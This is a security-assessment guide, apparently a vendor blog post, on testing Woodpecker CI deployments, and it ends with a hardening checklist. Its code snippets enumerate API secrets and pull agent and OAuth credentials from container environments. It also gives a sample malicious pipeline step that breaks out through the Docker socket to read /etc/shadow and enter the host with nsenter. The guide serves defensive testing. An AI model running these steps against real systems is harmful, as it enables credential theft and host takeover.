CI/CD Security Testing

Woodpecker CI Security Testing: Pipeline Secrets, Docker Socket, Webhook Token, and Repository Access

📅 July 3, 2026 ⏱ 12 min read 🏷 Woodpecker CI, CI/CD Security, Pipeline Secret Exposure, Docker Socket Breakout, Agent Token Security

Woodpecker CI is a popular lightweight self-hosted CI/CD system commonly paired with Gitea and Forgejo in self-hosted development stacks. As a CI/CD system, Woodpecker's security profile is defined by two core attack surfaces: the secrets it stores for deployment pipelines, and the privileged access its runner containers have to the host via the Docker socket. Key assessment areas: Woodpecker pipeline secrets are injected as environment variables into step containers and are accessible to all steps in a pipeline; the WOODPECKER_AGENT_SECRET environment variable in the runner Docker container is the shared secret used to authenticate agents to the server; the Woodpecker API with an admin token provides access to organization and repository secrets; the Docker runner mounts /var/run/docker.sock giving pipeline steps potential host breakout; and the SCM OAuth token (Gitea/GitHub/GitLab) stored in Woodpecker's database enables impersonating CI-triggered actions. This guide covers systematic Woodpecker CI security assessment.

Pipeline Secret and API Token Access
Docker Socket and Runner Security
Agent Token and SCM Credentials
Woodpecker CI Security Hardening

Pipeline Secret and API Token Access

# Woodpecker CI — API access and secret enumeration
WOODPECKER_URL="https://woodpecker.example.com"

# Authenticate and get user info
curl -s "${WOODPECKER_URL}/api/user" \
  -H "Authorization: Bearer your-woodpecker-token" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User: {d.get(\"login\")} admin={d.get(\"admin\")} email={d.get(\"email\")}')
" 2>/dev/null

# List organization-level secrets (admin only) — available to all pipelines
curl -s "${WOODPECKER_URL}/api/secrets" \
  -H "Authorization: Bearer your-woodpecker-token" 2>/dev/null | python3 -c "
import json,sys
try:
    secrets = json.load(sys.stdin)
    print(f'Organization secrets: {len(secrets)}')
    for s in secrets:
        print(f'  {s.get(\"name\")} events={s.get(\"events\")} images={s.get(\"images\")}')
        # Note: secret values are NOT returned by the API even to admins
        # But they ARE available as env vars inside pipeline step containers
except: print(sys.stdin.read()[:200])
" 2>/dev/null

# List all repositories the token has access to
curl -s "${WOODPECKER_URL}/api/repos" \
  -H "Authorization: Bearer your-woodpecker-token" 2>/dev/null | python3 -c "
import json,sys
repos = json.load(sys.stdin)
print(f'Repositories: {len(repos)}')
for r in repos:
    print(f'  {r.get(\"full_name\")} active={r.get(\"active\")} private={r.get(\"private\")}')
" 2>/dev/null

# Get secrets for a specific repository
ORG="myorg"
REPO="myrepo"
curl -s "${WOODPECKER_URL}/api/repos/${ORG}/${REPO}/secrets" \
  -H "Authorization: Bearer your-woodpecker-token" 2>/dev/null | python3 -c "
import json,sys
secrets = json.load(sys.stdin)
print(f'Repository secrets for {ORG}/{REPO}: {len(secrets)}')
for s in secrets:
    print(f'  {s.get(\"name\")} — accessible in pipeline steps as env var')
" 2>/dev/null

Docker Socket and Runner Security

# Woodpecker CI Docker runner — Docker socket access and escalation
# The Woodpecker Docker runner mounts /var/run/docker.sock

# Check runner container for Docker socket mount
docker inspect woodpecker-agent 2>/dev/null | python3 -c "
import json,sys
containers = json.load(sys.stdin)
if not containers: import sys; sys.exit()
mounts = containers[0].get('Mounts',[])
env = containers[0].get('Config',{}).get('Env',[])
for m in mounts:
    if 'docker.sock' in str(m.get('Source','')) or 'docker.sock' in str(m.get('Destination','')):
        print(f'Docker socket mounted: {m.get(\"Source\")} -> {m.get(\"Destination\")} mode={m.get(\"Mode\",\"rw\")}')
        print('IMPACT: Pipeline steps can execute docker commands with host daemon access')
for e in env:
    if 'AGENT_SECRET' in e or 'SECRET' in e:
        print(f'Credential in environment: {e}')
" 2>/dev/null

# From inside a pipeline step — if Docker socket is available, breakout path:
# A malicious pipeline .woodpecker.yml step:
#   image: docker
#   commands:
#     - docker run --rm -v /:/host alpine cat /host/etc/shadow
#     - docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -i -n -p -- id

# Check pipeline logs for secret exposure
# Pipeline steps that run "env" or "printenv" will log all secrets
curl -s "${WOODPECKER_URL}/api/repos/org/repo/builds/1/logs/1" \
  -H "Authorization: Bearer your-woodpecker-token" 2>/dev/null | \
  grep -iE '(password|secret|token|key|api).*=' | head -20

Agent Token and SCM Credentials

# Woodpecker agent token and SCM OAuth credentials
# WOODPECKER_AGENT_SECRET is the shared secret between server and agents

# Extract agent secret from running container environment
docker inspect woodpecker-agent 2>/dev/null | python3 -c "
import json,sys
containers = json.load(sys.stdin)
if not containers: import sys; sys.exit()
env = containers[0].get('Config',{}).get('Env',[])
for e in env:
    if any(k in e for k in ['AGENT_SECRET','WOODPECKER_SECRET','GITEA_CLIENT','GITHUB_CLIENT','GITLAB_CLIENT']):
        print(f'Credential: {e}')
" 2>/dev/null

# Woodpecker server environment — SCM OAuth credentials
docker inspect woodpecker-server 2>/dev/null | python3 -c "
import json,sys
containers = json.load(sys.stdin)
if not containers: import sys; sys.exit()
env = containers[0].get('Config',{}).get('Env',[])
for e in env:
    if any(k in e.upper() for k in ['SECRET','CLIENT','TOKEN','KEY','PASSWORD','DATABASE']):
        print(f'{e}')
" 2>/dev/null
# Reveals:
# WOODPECKER_AGENT_SECRET — agent authentication shared secret
# WOODPECKER_GITEA_CLIENT / WOODPECKER_GITEA_SECRET — Gitea OAuth app credentials
# WOODPECKER_GITHUB_CLIENT / WOODPECKER_GITHUB_SECRET — GitHub OAuth credentials
# WOODPECKER_DATABASE_DATASOURCE — database connection string

Woodpecker CI Security Hardening

Woodpecker CI Security Hardening Checklist:

Use a strong random WOODPECKER_AGENT_SECRET — the agent secret is the authentication credential between the Woodpecker server and all runner agents; generate a cryptographically random 32+ character secret; if the agent secret is weak or exposed, an attacker can register a rogue runner agent that intercepts pipeline jobs, receives pipeline secrets as environment variables, and exfiltrates source code
Use Docker runner with non-root images and without Docker socket when possible — the Docker runner mounts the host Docker socket by default, giving pipeline step containers the ability to spawn new containers with host privileges; use the Woodpecker Kubernetes runner for production workloads; if using Docker runner, configure step images to run as non-root users and avoid mounting the Docker socket inside step containers; use seccomp and AppArmor profiles to restrict container capabilities
Scope pipeline secrets to specific events and images — Woodpecker secrets support event filtering (push, pull_request, deployment) and image filtering; restrict deployment secrets (SSH keys, production API tokens) to deployment events only, not push and pull_request events; restrict production secrets to specific known deployment images; this prevents pull requests from untrusted contributors from accessing production credentials
Protect SCM OAuth credentials — WOODPECKER_GITEA_CLIENT and WOODPECKER_GITEA_SECRET (or GitHub/GitLab equivalents) in the Woodpecker server environment allow impersonating the OAuth application; these are visible via docker inspect on the Woodpecker server container; store them using Docker secrets or an environment file with restricted permissions rather than inline in docker-compose.yml
Audit pipeline YAML files for secret logging — pipeline steps that run env, printenv, or debug commands will log all secret environment variables to Woodpecker's build log; review pipeline definitions for any commands that could accidentally expose secrets; Woodpecker does not mask secret values in build logs unless explicitly configured
Restrict Woodpecker API token lifetime and scope — Woodpecker API tokens do not expire by default; generate tokens for automation use cases and periodically rotate them; the API token allows accessing pipeline logs (which may contain secrets), triggering builds, and reading repository configuration; restrict which users have Woodpecker admin access as admin tokens can access all repository secrets

Security Test	Method	Risk
WOODPECKER_AGENT_SECRET extraction	docker inspect woodpecker-agent — WOODPECKER_AGENT_SECRET visible in container environment; enables registering rogue CI agent that receives pipeline jobs, all injected secrets, and source code	Critical
SCM OAuth credential exposure	docker inspect woodpecker-server — WOODPECKER_GITEA_SECRET / WOODPECKER_GITHUB_SECRET visible in container environment; enables impersonating the Woodpecker OAuth application to the SCM provider	High
Pipeline log secret extraction	GET /api/repos/{org}/{repo}/builds/{build_id}/logs/{step} — pipeline steps that run env/printenv commands log all secret environment variables; review build logs for credential exposure patterns	High
Docker socket host breakout via pipeline step	Pipeline step with Docker socket access (docker run --privileged, nsenter, cgroup namespace escape) — runner Docker socket mount enables host filesystem access from within pipeline containers	Critical (if Docker socket accessible)
Organization secret enumeration	GET /api/secrets with admin token — lists all organization-level secrets by name; secret values not returned by API but names reveal what credentials are stored; enables targeted pipeline injection to extract specific secrets	High

Automate Woodpecker CI Security Testing

Ironimo tests Woodpecker CI deployments for WOODPECKER_AGENT_SECRET extraction from runner environment, SCM OAuth credential exposure in server container, pipeline log secret leakage assessment, Docker socket host breakout risk via runner configuration, organization and repository secret enumeration, pipeline YAML audit for secret exposure commands, and API token lifetime and scope review.

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Table of Contents

Pipeline Secret and API Token Access

Docker Socket and Runner Security

Agent Token and SCM Credentials

Woodpecker CI Security Hardening

Automate Woodpecker CI Security Testing